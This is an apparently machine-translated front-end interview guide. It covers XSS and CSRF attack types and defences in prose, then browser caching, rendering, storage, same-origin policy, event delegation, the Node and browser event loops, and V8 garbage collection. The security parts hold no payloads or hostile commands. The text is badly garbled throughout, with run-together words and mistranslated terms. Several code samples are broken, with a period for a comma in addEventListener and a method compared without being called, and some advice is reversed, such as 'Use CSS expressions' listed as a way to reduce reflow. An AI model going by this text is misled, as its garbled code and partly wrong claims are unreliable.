XSS attacks

XSS attack refers to cross-site scripting attack, which is a code injection attack. Attackers inject malicious scripts into websites to run on users’ browsers so as to steal users’ information such as cookies.

The essence of XSS is that the site does not filter malicious code, mixing it with normal code, and browsers have no way of telling which scripts are trusted, leading to the execution of malicious code.

Consequences of an attack:

  • Get page data, such as cookies, localStorage;
  • DOS attack, send a reasonable request,Occupying Server ResourcesSo that the user cannot access the server;
  • damagePage structure;
  • traffichijackedPoint a link to a website

Three types of attacks

Stored: Malicious scripts are stored on the target server. When the browser requests data, the script is returned from the server and executed. Reflection: After the attacker induces the user to access a URL with malicious code, the server receives and processes the data, and then sends the data with malicious code to the browser. The browser parses the data with XSS code and executes it as a script to complete the XSS attack. DOM type: Refers to XSS formed by modifying the DOM node of the page.

Storage attack procedure:

  1. The attacker submits malicious code to the database of the target website.
  2. When the user opens the target website, the website server takes the malicious code out of the database, splices it into HTML and returns it to the browser.
  3. When the user’s browser receives the response, it parses it and executes the malicious code mixed in.
  4. Malicious code steals user data and sends it to the attacker’s website, or impersonates the user’s behavior and calls the target website interface to perform the operations specified by the attacker.

This kind of attack is common in website functions with user-saved data, such as forum posts, product reviews, and user messages.

Reflex attack steps:

  1. The attacker constructs a special URL that contains malicious code.
  2. When a user opens a URL with malicious code, the web server takes the malicious code out of the URL, splices it into HTML and returns it to the browser.
  3. When the user’s browser receives the response, it parses it and executes the malicious code mixed in.
  4. Malicious code steals user data and sends it to the attacker’s website, or impersonates the user’s behavior and calls the target website interface to perform the operations specified by the attacker.

The difference between reflective XSS and stored XSS is that the stored XSS malicious code is stored in the database, while reflective XSS malicious code is stored in the URL.

Reflective XSS vulnerabilities are common in functions that pass parameters through urls, such as website search, jump, etc. Because users need to take the initiative to open malicious URL to take effect, attackers often combine a variety of means to induce users to click.

DOM type attack steps:

  1. The attacker constructs a special URL that contains malicious code.
  2. The user opens a URL with malicious code.
  3. When the user’s browser receives the response, it parses it and executes it. The front-end JavaScript picks up the malicious code in the URL and executes it.
  4. Malicious code steals user data and sends it to the attacker’s website, or impersonates the user’s behavior and calls the target website interface to perform the operations specified by the attacker.

DOM XSS differs from the previous two types of XSS: DOM XSS attacks, in which malicious code is extracted and executed by the browser side, are security vulnerabilities of the front-end JavaScript itself, while the other two types of XSS are security vulnerabilities of the server side.

How do I defend against XSS attacks

  • You can prevent this from being done in the browser. One way is to use a pure front-end approach without server-side splicing back (no server-side rendering). The other is to do a good job of escaping code that needs to be inserted into HTML. For DOM type attacks, mainly caused by the unreliable front-end scripts, for data acquisition rendering and string splicing should be possible to judge the malicious code.

  • With CSP, the essence of CSP is to create a whitelist that tells the browser which external resources can be loaded and executed, thus preventing injection attacks by malicious code.

  • Some sensitive information is protected, such as cookies using HTTP-only, so that scripts cannot obtain them. Captcha can also be used to prevent scripts from performing operations masquerading as users.

  1. CSP stands for content security policy, which essentially creates a whitelist that tells the browser what external resources can be loaded and executed. We just need to configure the rules and let the browser do the blocking.
  2. There are usually two ways to enable CSP: setting content-security-Policy in the HTTP header and setting meta tags

CSRF attacks

A CSRF attack refers to a cross-site request forgery attack in which an attacker induces a user to a third-party website that then sends a cross-site request to the site being attacked. If a user saves the login status in the attacked website, the attacker can use this login status to bypass the background user authentication and impersonate the user to perform some operations to the server.

There are three types of CSRF attacks:

  • A GET type of CSRF attack, such as building a request in an IMG tag on a website, will automatically initiate a submission when the user opens the site.
  • POST type CSRF attacks, such as building a form, then hiding it, and automatically submitting the form when the user enters the page.
  • Link type CSRF attacks, such as building a request in the href attribute of the A tag and inducing the user to click.

How do I defend against CSRF attacks

  • Origin detection: The server filters the request based on the origin or referer information in the HTTP request header to determine whether the request is an accessible site. Block requests when origin or referer information does not exist. The downside of this approach is that referers can be forged in some cases and the search engine links can be blocked. So the general website will allow the search engine page request, but the corresponding page request this request way may also be used by the attacker. (The Referer field tells the server from which page the page was linked.)
  • Authentication using CSRF Token: The server returns a random number Token to the user, and when the website makes a request again, it adds the Token returned by the server to the request parameters, and then the server authenticates this Token. This method solves the problem that cookies may be used fraudulously when the single authentication method is used. However, one disadvantage of this method is that we need to add this token to all requests on the website, which makes the operation cumbersome. Another problem is that there is usually not only one web server, if the request is load-balanced to another server, but the server’s session does not hold the token, there is no way to verify. This situation can be resolved by changing the way tokens are built.
  • Double authentication for cookies: When the user visits the website page, the server injects a Cookie into the requested domain name, the content is a random string, and then when the user sends the request to the server again, it takes the string from the Cookie and adds it to the URL parameter. The server then validates by comparing the data in the cookie to the data in the parameter. This approach takes advantage of the fact that the attacker can only use cookies, but cannot access and obtain cookies. And this method is more convenient than the CSRF Token method, and does not involve the problem of distributed access. The downside of this approach is that it will not work if the site has XSS vulnerabilities. At the same time, this method cannot achieve the isolation of subdomain names.
  • Setting Samesite when setting the cookie property prevents cookies from being used by third parties: thus preventing them from being exploited by attackers. Samesite has two modes: strict mode, in which cookies cannot be used as third-party cookies under any circumstances, and loose mode, in which cookies can be used for GET requests and page hops.

How to implement communication between multiple tabs in the browser?

The communication between multiple tabs is essentially achieved through the intermediary pattern. Since there is no way for the tabs to communicate directly with each other, we can find a mediator, let the tabs communicate with the mediator, and then let the mediator forward the message. The communication method is as follows:

  • Use the WebSocket protocol, because the WebSocket protocol implements server push, so the server can be used as the intermediary. The TAB page sends data to the server, which then pushes and forwards the data to other tabs.
  • Using SharedWorker, SharedWorker creates a unique thread for the life of the page and only uses the same thread for multiple pages. At this point the shared thread can act as a mediator. The tabs share a thread, and then exchange data through this shared thread.
  • Using localStorage, we can listen for changes to localStorage in one TAB page, and then when the other TAB changes the data, we can use this listening event to get the data. At this point, the localStorage object acts as the intermediary.
  • Using the postMessage method, if we can get a reference to the corresponding TAB page, we can use the postMessage method to communicate.

Understanding of Service workers

A Service Worker is a separate thread that runs behind the browser and is typically used for caching. To use the Service Worker, the transport protocol must be HTTPS. Since request interception is involved in Service workers, the HTTPS protocol must be used for security.

There are three steps to realize the caching function of Service Worker: The Service Worker needs to be registered first, and the required files can be cached after the install event is monitored. Then the next time the user accesses the server, it can intercept the request to check whether there is cache. If there is cache, it can directly read the cache file, otherwise it will request data. Here is the implementation of this step:

// index.js if (navigator.serviceWorker) { navigator.serviceWorker .register('sw.js') .then(function(registration) { Console. log('service worker failed to register ')}). Catch (function(err) {console.log('service worker failed to register ')})} // sw.js // listen ` install ` events, Cache the required file self.addeventListener ('install', e => { e.waitUntil( caches.open('my-cache').then(function(cache) { return cache.addAll(['./index.html', './index.js'])}))})}) Otherwise fetch the data self.addeventListener ('fetch', e => { e.respondWith( caches.match(e.request).then(function(response) { if (response) { return response } console.log('fetch source') }) ) })Copy the code

Open the page and you can see from the Application in the developer tools that the Service Worker has started:

You can also find that the required file is cached in the Cache:

An understanding of the browser’s caching mechanism

The whole process of browser caching:

  • When the browser loads the resource for the first time, the server returns 200. The browser downloads the resource file from the server and caches the resource file and response header for comparison during the next loading.
  • When loading resources next time, the forced cache has a high priority, the time difference between the current time and the time when 200 is returned last time is compared. If the time difference does not exceed the max-age set by cache-control, the system does not expire, matches the strong cache, and directly reads resources from the local device. If the browser does not support HTTP1.1, use the Expires header to determine whether it is expired.
  • If the resource has expired, it indicates that the force cache has not been hit. The cache negotiation starts, and requests with if-none-match and if-modified-since are sent to the server.
  • After receiving the request, the server determines whether the requested file is modified according to the Etag value. If the Etag value is consistent, the requested file is not modified and matches the negotiation cache, and 304 is returned. If not, change it, return the new resource file with the new Etag value and return 200;
  • If the server receives a request with no Etag value, it compares if-modified-since with the last modification time of the requested file. If the request is consistent, the negotiation cache is matched and 304 is returned. If not, the new last-Modified and file is returned and 200 is returned;

Many websites add the version number to their resources. The purpose of this method is to prevent the browser from caching and forcibly changing the version number after upgrading the JS or CSS file. The client browser will download the new JS or CSS file to ensure that users can get the latest updates of the website in time.

What are the locations of the browser resource cache?

There are three types of resource cache positions in descending order of priority:

Service Worker: Service Worker runs outside the main thread of JavaScript. Although it cannot access DOM directly because it is separated from the browser form, it can complete functions such as offline cache, message push, and network proxy. It gives us freedom to control which files are cached, how the cache is matched, how the cache is read, and the cache is persistent. When the Service Worker does not hit the cache, the fetch function needs to be called to fetch data. That is, if there is no cache hit in the Service Worker, the data is looked up based on cache lookup priority. However, whether the data is retrieved from the Memory Cache or from a network request, the browser will display the content retrieved from the Service Worker.

Memory Cache: The Memory Cache is the most efficient Memory Cache. ** However, the Memory Cache is very efficient, but the Cache is short-lived and will be freed as the process is freed. ** Once we close the Tab page, the memory cache is freed.

Disk Cache: A Disk Cache is a Cache stored on a hard Disk. It is slower to read, but everything can be stored on Disk. It is larger and more efficient than Memory Cache. Disk Cache coverage is by far the largest of all browser caches. Based on the fields in the HTTP Herder, it determines which resources need to be cached, which resources can be used without being requested, and which resources have expired and need to be re-requested. And even in the case of cross-site, resources with the same address once cached by the hard disk will not be requested again.

The difference between negotiated cache and strong cache

Strong cache

If the cache resource is valid, the cache resource is directly used without sending requests to the server.

Strong caching policies can be set in two ways: the Expires attribute and the cache-control attribute in HTTP headers.

Expires: The server specifies when a resource Expires by adding an Expires attribute to the response header. After expiration, the resource can be used by the cache without having to send requests to the server. This time is an absolute time, and it is the server time, so there may be a problem where the client time is inconsistent with the server time, or the user can change the client time, which may affect the cache hit result.

Expires: The way in HTTP 1.0. Because of some of its shortcomings, a new header attribute was proposed in HTTP 1.1: the cache-control attribute, which provides more precise Control over the caching of resources. It has a lot of different values,

Cache-control Specifies the fields that can be set:

  • public: Indicates that a resource with this field can be cached by any object, including the client sending the request, the proxy server, and so on. This field value is not commonly used, and max-age= is generally used for precise control;
  • private: Resources with this field can only be cached by the user browser, not by any proxy server. In actual development, for some HTML containing user information, this field value is usually set to avoid proxy server (CDN) caching;
  • no-cache: If this field is set, check with the server whether the returned resource has changed. If the resource has not changed, the cached resource is used directly.
  • no-store: If this field is set, no cache is allowed. Each time, a new request is sent to the server to pull the latest resources.
  • max-age=: Sets the maximum validity period of the cache, in seconds.
  • s-maxage=: Has a higher priority than max-age=, which is only applicable to shared CDN and has a higher priority than max-age or Expires headers.
  • max-stale[=]: Setting this field indicates that the client is willing to receive expired resources within the given time limit.

In general, you only need to set one or the other to implement a strong caching policy, and cache-control takes precedence over Expires when both are used together.

No-cache and no-store:

  • No-cache checks whether resources are updated with the server. That is, there is no strong cache, but there is a negotiated cache;
  • No-store means that no cache is used and resources are fetched directly from the server on every request.

Negotiate the cache

If the mandatory cache is hit, we don’t need to make a new request, we just use the cache content. If the mandatory cache is not hit, if the negotiated cache is set, then the negotiated cache will come into play.

As mentioned above, there are two criteria for hitting the negotiated cache:

  • max-age=xxxOut of date
  • A value ofno-cache

With a negotiated cache policy, a request is first sent to the server, and if the resource has not been modified, a 304 status is returned, allowing the browser to use the local cache copy. If the resource has been modified, the modified resource is returned.

The negotiated cache can also be set in two ways: the Etag and last-Modified attributes in the HTTP header.

Last-modified: The server indicates when the resource was Last Modified by adding a last-Modified attribute to the response header. The next time the browser makes a request, it adds an if-Modified-since attribute to the request header. Property is the last-Modified value of the Last resource returned. When a request is sent to the server, the server compares this property with the last modification time of the resource to determine whether the resource has been modified. If the resource has not been modified, return to status 304 and let the client use the local cache. If the resource has been modified, the modified resource is returned. A disadvantage of using this method is that the Last modification time of last-Modified is only accurate to the level of seconds. If some files are Modified more than once in less than one second, the file will have changed but last-Modified has not changed, resulting in inaccurate cache hits.

Etag: Because of the possibility of last-Modified inaccuracies, HTTP provides an alternative, which is the Etag attribute. When the server returns a resource, it adds an Etag attribute to the header. This attribute is the unique identifier generated by the resource, and this value can change when the resource changes. On the next resource request, the browser adds an if-none-match attribute to the request header. The value of this attribute is the Etag value of the last resource returned. After receiving the request, the service compares this value with the current Etag value of the resource to determine whether the resource has changed and whether it needs to return the resource. In this way, it is more accurate than the last-Modified method.

When last-Modified and Etag attributes are present together, Etag takes precedence. When using a negotiated cache, the server needs to consider load balancing, so last-Modified resources on multiple servers should be the same. Since Etag values are different on each server, it is best not to set the Etag attribute when considering load balancing.

Conclusion:

Both the strong cache and negotiated cache policies use the local cache copy directly in case of a cache hit, except that the negotiated cache sends a request to the server once. Both send requests to the server to retrieve resources when the cache misses. In the actual caching mechanism, the strong caching policy and the negotiated caching policy are used together. The browser first determines whether the strong cache hit or not based on the requested information, and if so, uses the resource directly. If the negotiation cache is matched, the server does not return resources and the browser uses a copy of local resources. If the negotiation cache is not matched, the browser returns the latest resources to the browser.

Why do YOU need a browser cache?

  • Reduce the server load, improve the performance of the site
  • Accelerate the loading speed of client web pages

Refresh button, F5, Ctrl+F5, address bar enter difference

  • Refresh or F5: The browser simply expires the cached file locally, but with if-modifed-since, if-none-match, which means the server checks the file for freshness and returns a result of 304 or 200.
  • Ctrl+F5: The browser will not only expire the local file, but also will not take if-modifed-since, if-none-match, which means that the request was never made before, and return 200.
  • Enter in the address bar: The browser initiates a request, and in accordance with the normal process, local checks whether it is expired, and then the server checks freshness, and finally returns the content.

How browsers render

The browser’s rendering process

  • First, the received document is parsed and a DOM tree is constructed according to the document definition. The DOM tree is composed of DOM elements and attribute nodes.

  • Then the CSS is parsed to generate the CSSOM rule tree.

  • The render tree is built from the DOM tree and the CSSOM rule tree. The node of the render tree is called a render object, which is a rectangle containing properties such as color and size. The render object corresponds to the DOM element, but this correspondence is not one-to-one. Invisible DOM elements are not inserted into the render tree. There are also DOM elements that correspond to several visible objects, which are typically elements with complex structures that cannot be described by a rectangle.

  • When rendered objects are created and added to the tree, they have no location or size, so when the browser generates the render tree, the layout is based on the render tree (also known as backflow). All the browser has to do at this stage is figure out the exact location and size of each node on the page. This behavior is often referred to as “automatic reordering.”

  • The layout phase is followed by the Paint phase, which iterates through the render tree and calls the paint method of the render objects to display their contents on the screen, drawing using the UI base components.

The general process is shown in the figure:

Note: This process is done step by step, the rendering engine will render the content to the screen as early as possible for a better user experience, rather than wait until all the HTML has been parsed before building and laying out the Render tree. It parses part of the content and displays part of the content, while probably downloading the rest of the content over the network.

Browser Rendering optimization

(1) For JavaScript:

  • Try to put the JavaScript file at the end of the body

  • Try not to put

  • Asynchronously load async and defer

(2) For CSS:

There are three ways to use CSS: link, @import, and inline styles, where link and @import import import external styles.

  • Link: The browser sends a new thread (HTTP thread) to load the resource file, while the GUI rendering thread continues to render the code down
  • @import: The GUI rendering thread will temporarily stop rendering and load the resource file to the server. It will not continue rendering until the resource file is returned (blocking browser rendering)
  • Style: GUI render directly

If the external style is not loaded for a long time, the browser will use the browser default style for user experience to ensure the speed of the first rendering. So CSS is usually written in headr, allowing the browser to send a request for CSS styles as soon as possible.

So, during development, import external styles using link instead of @import. If CSS is sparse, use inline styles if possible, written directly in the style tag.

(3) For DOM tree and CSSOM tree:

  • The code level of the HTML file should not be too deep
  • Use semantic tags to avoid special processing of non-standard semantics
  • Reduce the hierarchy of CSS code because selectors are parsed from left to right

(4) Reduce reflux and redraw:

  • When manipulating the DOM, try to operate on low-level DOM nodes
  • Don’t usetableLayout, a small change can make the wholetableRearrange
  • Use CSS expressions
  • Do not manipulate the style of the element too often. For static pages, change the class name, not the style.
  • Use absolute or fixed to remove elements from the document flow so that their changes do not affect other elements
  • To avoid frequent DOM manipulation, create a document fragmentdocumentFragmentApply all DOM operations to it, and finally add it to the document
  • Set the element firstdisplay: none, and then display it after the operation. Because DOM operations on elements with the display attribute none do not cause backflow and redraw.
  • Multiple reads (or writes) of the DOM are grouped together, rather than the reads and writes interspersed with the writes. Thanks toThe browser's render queue mechanism.

Browsers have their own optimization for backflow and redrawing of pages – render queues

The browser puts all the backflow and redraw operations in a queue, and when the number of operations in the queue reaches a certain number of times, the browser batches the queue. This will turn multiple backflow and redraw into a single backflow redraw.

How to deal with JS files encountered in rendering process?

The loading, parsing, and execution of JavaScript blocks the parsing of the document, which means that when the HTML parser encounters JavaScript while building the DOM, it suspends the parsing of the document, handing control to the JavaScript engine. When the JavaScript engine is finished, the browser picks up where it left off and continues parsing the document. That is, the faster you want the first screen to render, the less you should load JS files on the first screen, which is why it is recommended to place the script tag at the bottom of the body tag. At the moment, of course, it’s not necessary to put the script tag at the bottom, as you can add defer or async properties to the script tag.

What is pre-parsing of documents?

Both Webkit and Firefox make this optimization so that while the JavaScript script is executed, another thread parses the rest of the document and loads resources that need to be loaded later over the network. This allows resources to be loaded in parallel to make the whole thing faster. Note that pre-parsing does not change the DOM tree; it leaves that up to the main parsing process to parse only references to external resources, such as external scripts, stylesheets, and images.

How does CSS block document parsing?

In theory, since stylesheets do not change the DOM tree, there is no reason to stop parsing documents and wait for them. One problem, however, is that JavaScript script execution may request style information during document parsing, and if the style has not been loaded and parsed, the script will get the wrong value, which can obviously cause a lot of problems. So if the browser has not finished downloading and building CSSOM, and we want to run the script at this point, the browser will delay the execution of the JavaScript script and the parsing of the document until it has finished downloading and building CSSOM. That is, in this case, the browser downloads and builds CSSOM, then executes JavaScript, and finally continues parsing the document.

Cookie, LocalStorage, SessionStorage difference

Cookie: In fact, cookie is originally a way for the server to record the user status. It is set by the server, stored in the client, and then sent to the server every time it initiates a same-origin request. A cookie can store up to 4K data, its lifetime is specified by the Expires attribute, and the cookie can only be shared by same-origin page access.

SessionStorage: a browser-native storage method provided by HTML5. It borrots the concept of server-side session and represents the data stored in a session. It can store 5M or more data, it expires after the current window closes, and sessionStorage can only be accessed and shared by same-source pages of the same window.

LocalStorage: A browser-native storage method provided by HTML5, which can also store 5 meters or more of data. Unlike sessionStorage, it does not expire unless it is manually removed, and localStorage can only be accessed and shared by same-origin pages.

The above methods are used to store small amounts of data. When a large amount of data needs to be stored locally, we can use the browser indexDB, which is a local database storage mechanism provided by the browser. Instead of a relational database, it stores data internally in the form of an object repository, which is closer to a NoSQL database.

What is the same origin policy

The cross-domain problem is actually caused by the same origin policy of the browser.

The same origin policy restricts how documents or scripts loaded from the same source can interact with resources from another source. This is an important security mechanism used by browsers to isolate potentially malicious files. Same-origin indicates that the protocol, port number, and domain name must be the same.

The table below gives the with URL store.company.com/dir/page.ht… Examples of sources for comparison:

URL Whether the cross-domain why
Store.company.com/dir/page.ht… homologous Exactly the same
Store.company.com/dir/inner/a… homologous Only the path is different
store.company.com/secure.html Cross domain Agreement is different
Store.company.com: 81 / dir/etc. HTM… Cross domain Different ports (http://default port is 80)
News.company.com/dir/other.h… Cross domain The host different

The same-origin policy mainly limits three aspects:

  • Js scripts in the current domain cannot access cookies, localStorage, and indexDB in other domains.
  • Js scripts in the current domain cannot manipulate the DOM in other domains.
  • Ajax cannot send cross-domain requests under the current domain.

Main aim of the same-origin policy is to ensure that the user information security, it’s just a limit of js script, is not the limitation on the browser, for general img or script script requests will not cross-domain limitation, that is because these operations are not through the response result to possible security problems.

The difference between forward proxies

Forward proxy:

The client wants to get data from a server, but for some reason cannot get it directly. The client sets up a proxy server and specifies the target server, which then forwards the request to the target server and sends the obtained content to the client. This essentially hides the real client from the real server. Implementing forward proxies requires client modifications, such as browser configuration changes.

Reverse proxy:

In order to improve website performance (load balancing) and other purposes, the server will determine which server the request should be forwarded according to the forwarding rules after receiving the request, and then forward the request to the corresponding real server. This essentially hides the real server from the client.

After the reverse proxy is used, you need to modify the DNS to resolve the domain name to the IP address of the proxy server. In this case, the browser cannot detect the existence of the real server and does not need to modify the configuration.

The difference is shown in the diagram:

The forward proxy and reverse proxy structures are the same, both of which are client-proxy-server structures. The main difference lies in which side sets the proxy. In the forward proxy, the proxy is set by the client to hide the client. In a reverse proxy, the proxy is set by the server to hide the server.

Understanding event delegation

Event delegation essentially leverages the browser event bubbling mechanism. Because the event is uploaded to the parent node during the bubbling process, the parent node can obtain the target node through the event object, so the listener function of the child node can be defined on the parent node, and the listener function of the parent node can uniformly handle the events of multiple child elements. This method is called event delegate (event proxy).

Using event delegates reduces memory consumption by eliminating the need to bind a listening event to each child element. In addition, the event broker can also realize the dynamic binding of events. For example, when a new child node is added, it does not need to add a separate listening event to it, and its bound event will be handed to the listener function in the parent element to handle.

Characteristics of event delegation

  • Reduce memory consumption

  • Dynamically bound events

<ul id="list">
  <li>item 1</li>
  <li>item 2</li>
  <li>item 3</li>.<li>item n</li>
</ul>
Copy the code

Bind events to each list item in the above example. In many cases, AJAX or user operations need to be used to dynamically add or remove list items. Therefore, each change needs to bind events to the new elements and unbind events to the elements to be deleted. If there is no such trouble, use the event delegation for events is binding in the parent layer, and the addition and subtraction of the target element is no relationship, perform to the target element is in response to real event functions in the process to match, so use in the dynamic binding events can be reduced under the condition of a lot of repetitive work.

// Delegate the event delegate of the li element in #list to its parent element:
// Bind events to parent elements
document.getElementById('list').addEventListener('click'.function (e) {
  // Compatibility processing
  var event = e || window.event;
  var target = event.target || event.srcElement;
  // Determine if the target element matches
  if (target.nodeName.toLocaleLowerCase === 'li') {
    console.log('the content is: ', target.innerHTML); }});Copy the code

In the code above, the target element is the element clicked below the #list element, and the target attributes (such as nodeName, ID, etc.) can be used to more accurately match a type of #list li element.

limitations

Of course, event delegation has its limits. For example, events such as Focus and blur do not have event bubbling mechanism, so they cannot implement event delegation. Events such as Mousemove and Mouseout, although bubbling, can only be calculated and positioned by location, which is high in performance and therefore not suitable for event delegation.

Where event delegates must be used, the following can be done:

  • Use event delegates only where necessary, such as:ajaxThe local refresh area of
  • Minimize the level of bindings, nobodyElement to bind
  • Reduce the number of bindings, if possible, by combining multiple event bindings into a single event delegate to be distributed by the event delegate’s callback.

Usage scenarios for event delegates

Scenario: Add click events to all a tags on the page as follows:

document.addEventListener("click".function(e) {
    if (e.target.nodeName == "A")
        console.log("a");
}, false);
Copy the code

However, these A tags may contain elements such as SPAN and img. If you click on an element within the A tag, the click event will not be triggered because the event is bound to the A tag element. E.target refers to the element that triggered the click event (span, img, etc.).

In this case, you can use the event delegate to handle, bind the event to the inner element of the A tag, when clicked, it will look up step by step until the A tag is found, the code is as follows:

document.addEventListener("click".function(e) {
    var node = e.target;
    while(node.parentNode.nodeName ! ="BODY") {
        if (node.nodeName == "A") {
            console.log("a");
            break; } node = node.parentNode; }},false);
Copy the code

An understanding of the event loop

Because JS runs in a single thread, the execution of the code is kept in order by pushing the execution context of different functions onto the execution stack. If an asynchronous event is encountered while executing synchronous code, the JS engine does not wait for the result to return. Instead, it suspends the event and continues executing other tasks in the execution stack. After the asynchronous event is executed, the callback corresponding to the asynchronous event is added to a task queue for execution. Task queue can be divided into macro task queue and micro task queue. When the execution of the events in the current execution stack is completed, the JS engine will first judge whether there are any tasks in the micro task queue that can be executed. If so, the event at the top of the micro task queue will be pushed into the stack for execution. When all tasks in the microtask queue are completed, the tasks in the macro task queue are executed.

The order of Event Loop execution is as follows:

  • The synchronization code is performed first, which is a macro task
  • When all synchronous code has been executed, the execution stack is empty, and the query is made to see if any asynchronous code needs to be executed
  • Perform all microtasks
  • When all the microtasks are done, the page is rendered if necessary
  • Then start the next Event Loop, which executes the asynchronous code in the macro task

What are macro tasks and micro tasks

  • Microtasks include: promise callbacks, process.nexttick in Node, and MutationObserver that listens for Dom changes.
  • Macro tasks include script execution, setTimeout, setInterval, setImmediate, and other timed events such as I/O operations and UI rendering.

What is an execution stack

You can think of the execution stack as a stack structure for storing function calls, following the principle of first in, last out.

When you start executing your JS code, the last function to be executed will pop out of the stack first. As you can see, foo is executed last and popped out of the stack when it’s finished executing.

The trace of the stack can be found in the error message:

function foo() {
  throw new Error('error')
}
function bar() {
  foo()
}
bar()
Copy the code

You can see that the error was reported in function foo, which in turn was called in function bar. When using recursion, because there is a limit to how many functions can be stored on the stack, the problem of stack bursting can occur if too many functions are stored and not released

function bar() {
  bar()
}
bar()
Copy the code

What is the difference between the Event Loop in Node and the Event Loop in the browser? Process. nextTick Execution order?

The Event Loop in Node is a completely different thing from the Event Loop in the browser.

The Node Event Loop is divided into six stages, which are repeated in sequence. Each time a phase is entered, the function is fetched from the corresponding callback queue and executed. The next phase occurs when the queue is empty or the number of callback functions executed reaches a threshold set by the system.

Timers: The event cycle starts from the timer stage when it enters for the first time. This phase determines whether there are expired timer callbacks (including setTimeout and setInterval). If there are any, all expired timer callbacks will be executed. After execution, if corresponding microtasks are triggered in the callback, all microtasks will be executed. After performing the micro task, enter the Pending Callbacks phase.

(2) Pending callbacks: Perform DEFERRED I/O callbacks (systemcall-related callbacks) until the next iteration of the loop.

(3) Idle/Prepare: Only for internal use.

(4) Poll (polling stage) :

  • When the callback queue is not empty: the callback will be executed. If the corresponding microtask is triggered in the callback, the execution timing of the microtask is different from that in other places. The microtask will be executed after each callback is completed, rather than after all the callback is completed. After all the callbacks are executed, the following situation occurs.
  • Mediate When the callback queue is empty (no callbacks or all callbacks complete) : But if there are timers (setTimeout, setInterval, and setImmediate) that do not execute, the polling phase ends and the Check phase enters. Otherwise, it blocks and waits for any ongoing I/O operations to complete, and immediately executes the appropriate callbacks until all callbacks have been executed.

(5) Check: The state checks for setImmediate callbacks, and all callbacks are triggered. The state then performs all of the microtasks that trigger the setImmediate callbacks. The state then performs all of the microtasks that trigger the callbacks.

Close callbacks: Execute some Close callbacks, such as socket.on(‘ Close ‘,…) And so on.

Let’s take an example. First of all, in some cases, the order in which timers are executed is actually random

setTimeout(() => {
    console.log('setTimeout')
}, 0)
setImmediate(() => {
    console.log('setImmediate')
})
Copy the code

For the above code, setTimeout may be executed before or after

  • First of all,setTimeout(fn, 0) === setTimeout(fn, 1)This is determined by the source code
  • There is also a cost to entering the event loop, and if it takes more than 1ms to prepare, it will be executed directly during the Timer phasesetTimeoutThe callback
  • So if the preparation time is less than 1ms, then it issetImmediateThe callback is executed first

Of course, in some cases, they must be executed in a fixed order, such as the following code:

const fs = require('fs')
fs.readFile(__filename, () => {
    setTimeout(() => {
        console.log('timeout');
    }, 0)
    setImmediate(() => {
        console.log('immediate')
    })
})
Copy the code

In the code above, setImmediate always executes first. The IO callback is performed in the POLL phase. The queue is empty after the POLL callback is completed. SetImmediate does not mediate, so it jumps directly to the Check phase to perform the callback.

The above are macroTask executions. In the case of MicroTask, it empties the MicroTask queue before each of the above phases is completed. The Tick in the figure below represents MicroTask

setTimeout(() => {
  console.log('timer21')
}, 0)
Promise.resolve().then(function() {
  console.log('promise1')
})
Copy the code

For the above code, the output is the same as in the browser, microTask always executes before MacroTask.

Finally, the process.nextTick function in Node is independent of the Event Loop. It has its own queue, and when each stage is complete, if there is a nextTick queue, it will empty all callback functions in the queue. And takes precedence over other Microtasks.

setTimeout(() => { console.log('timer1') Promise.resolve().then(function() { console.log('promise1') }) }, 0) process.nextTick(() => { console.log('nextTick') process.nextTick(() => { console.log('nextTick') process.nextTick(()  => { console.log('nextTick') process.nextTick(() => { console.log('nextTick') }) }) }) })Copy the code

For the above code, always print out all of nextTick first.

Browser garbage collection mechanism

What is the garbage collection mechanism in V8

V8 implements accurate GC and GC algorithm adopts generational garbage collection mechanism. Therefore, V8 divides memory (heap) into the new generation and the old generation.

(1) New generation algorithm

Objects in the new generation tend to be short-lived, use the Scavenge GC algorithm.

In the new generation space, the memory space is divided into two parts, namely From space and To space. Of these two Spaces, one must be used and the other free. The newly allocated objects are put into the From space, and when the From space is full, the new generation GC starts. The algorithm checks for viable objects in the From space and copies them To the To space, and destroys deactivated objects. When the copy is complete, swap the From space with the To space, and the GC ends.

(2) Old generation algorithm

The objects in the old generation generally live for a long time and have a large number. Two algorithms are used, namely, the mark clearing algorithm and the mark compression algorithm.

Let’s start with when objects can appear in old space:

  • Insane. Are objects from the Cenozoic era already subjected to the Scavenge algorithm, and if so, to move objects from the Cenozoic era to the older age.
  • The size of objects in the To space exceeds 25%. In this case, objects are moved from the new generation space to the old generation space in order not to affect memory allocation.

The old age space is very complex, there are the following Spaces

enum AllocationSpace { // TODO(v8:7464): Actually map this space's memory as read-only. RO_SPACE, // NEW_SPACE, // OLD_SPACE, CODE_SPACE, // MAP_SPACE, // map object LO_SPACE, // NEW_LO_SPACE, FIRST_SPACE = RO_SPACE, LAST_SPACE = NEW_LO_SPACE, FIRST_GROWABLE_PAGED_SPACE = OLD_SPACE, LAST_GROWABLE_PAGED_SPACE = MAP_SPACE };Copy the code

In the old generation, the tag clearing algorithm is started in the following cases:

  • When there is no partition of a space
  • The object in space exceeds a limit
  • Space does not guarantee that objects in the new generation will move into the old generation

In this phase, all objects in the heap are iterated, live objects are marked, and all unmarked objects are destroyed when the marking is complete. When marking large pairs of memory, it can take hundreds of milliseconds to complete a mark. This can lead to performance issues. To address this issue, V8 switched from the stop-the-world flag to the incremental flag in 2011. During incremental tagging, GC breaks the tagging work into smaller modules, allowing JS application logic to execute between modules for a while without causing the application to stall. But in 2018, THERE was another big breakthrough in GC technology called concurrent markup. This technique allows THE GC to scan and mark objects while allowing JS to run.

Object removal will cause heap memory fragmentation, when the fragmentation exceeds a certain limit will start the compression algorithm. During compression, live objects are moved to one side until all objects have been moved and unneeded memory is cleared.

What operations cause memory leaks?

  • The first is when you accidentally create a global variable by using an undeclared variable, leaving it in memory and unable to reclaim it.
  • The second is if you set the setInterval timer and forget to cancel it, and if the loop function has a reference to an external variable, that variable is left in memory and cannot be reclaimed.
  • The third case is when we get a reference to a DOM element that is deleted and cannot be reclaimed because we keep the reference to that element.
  • The fourth case is improper use of closures, resulting in some variables being left in memory.

Remember, remember (° °) Blue ✿



O (~ ▽ ~)d Don’t get lost

Favorites ✋🏻 + Follow

Thank you blue